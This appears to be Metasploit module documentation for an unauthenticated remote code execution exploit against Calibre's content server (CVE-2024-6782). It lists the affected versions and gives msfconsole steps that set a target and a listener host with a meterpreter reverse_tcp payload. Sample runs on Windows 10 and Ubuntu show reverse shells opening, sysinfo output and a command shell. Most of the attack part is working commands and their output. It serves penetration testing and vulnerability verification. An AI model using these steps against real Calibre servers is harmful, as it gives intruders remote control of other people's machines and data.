## Vulnerable Application

**Vulnerability Description**

This module exploits a vulnerability in Calibre <= v6.9.0 - v7.15.0 (CVE-2024-6782).

An unauthenticated remote attacker can exploit this vulnerability to gain arbitrary code execution in the context of which Calibre is being
executed.

All versions between v6.9.0 - v7.15.0 are affected. STAR Labs published [an advisory](https://starlabs.sg/advisories/24/24-6782/) that
includes the root cause analysis and a proof-of-concept.

**Vulnerable Application Installation**

Calibre can be downloaded from [here](https://download.calibre-ebook.com/).

**Successfully tested on**

Windows:
- Calibre v7.15 on Windows 10 22H2
- Calibre v7.14 on Windows 10 22H2
- Calibre v7.0 on Windows 10 22H2
- Calibre v6.29 on Windows 10 22H2
- Calibre v6.9 on Windows 10 22H2

Linux:
- Calibre v7.15 on Ubuntu 24.04 LTS
- Calibre v7.14 on Ubuntu 24.04 LTS
- Calibre v7.0 on Ubuntu 24.04 LTS
- Calibre v6.29 on Ubuntu 24.04 LTS
- Calibre v6.9 on Ubuntu 24.04 LTS

## Verification Steps

1. Install Calibre
2. Start Calibre and click Connect/share > Start Content server
3. Start `msfconsole` and run the following commands:

```
msf > use exploit/multi/misc/calibre_exec
[*] Using configured payload cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(multi/misc/calibre_exec) > set RHOSTS <IP>
msf exploit(multi/misc/calibre_exec) > set LHOST <IP>
msf exploit(multi/misc/calibre_exec) > exploit
```

You should get a meterpreter session running in the same context as the Calibre application.

## Scenarios

**Windows**

Running the exploit against Calibre v7.14 on Windows 10 22H2, using curl as a fetch command, should result in an output similar to the
following:

```
msf exploit(multi/misc/calibre_exec) > exploit 

[*] Started reverse TCP handler on 192.168.137.190:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending payload...
[*] Sending stage (201798 bytes) to 192.168.137.194
[*] Meterpreter session 1 opened (192.168.137.190:4444 -> 192.168.137.194:50346) at 2024-08-01 23:28:16 -0400
[*] Exploit finished, check thy shell.

meterpreter > sysinfo
Computer        : DESKTOP-foo
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

meterpreter > shell
Process 6084 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19045.4529]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\Calibre2>whoami
whoami
desktop-foo\admin
```

**Linux**

Running the exploit against Calibre v7.14 on Ubuntu 24.04 LTS, using cmd/unix/python/meterpreter/reverse_tcp as a payload, should result in
an output similar to the following:

```
msf exploit(multi/misc/calibre_exec) > exploit 

[ *] Started reverse TCP handler on 192.168.137.190:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending payload...
[*] Sending stage (24772 bytes) to 192.168.137.195
[*] Meterpreter session 2 opened (192.168.137.190:4444 -> 192.168.137.195:52376) at 2024-08-01 23:40:16 -0400

meterpreter > sysinfo
Computer        : asdfvm
OS              : Linux 6.8.0-39-generic #39-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul  5 21:49:14 UTC 2024
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
```
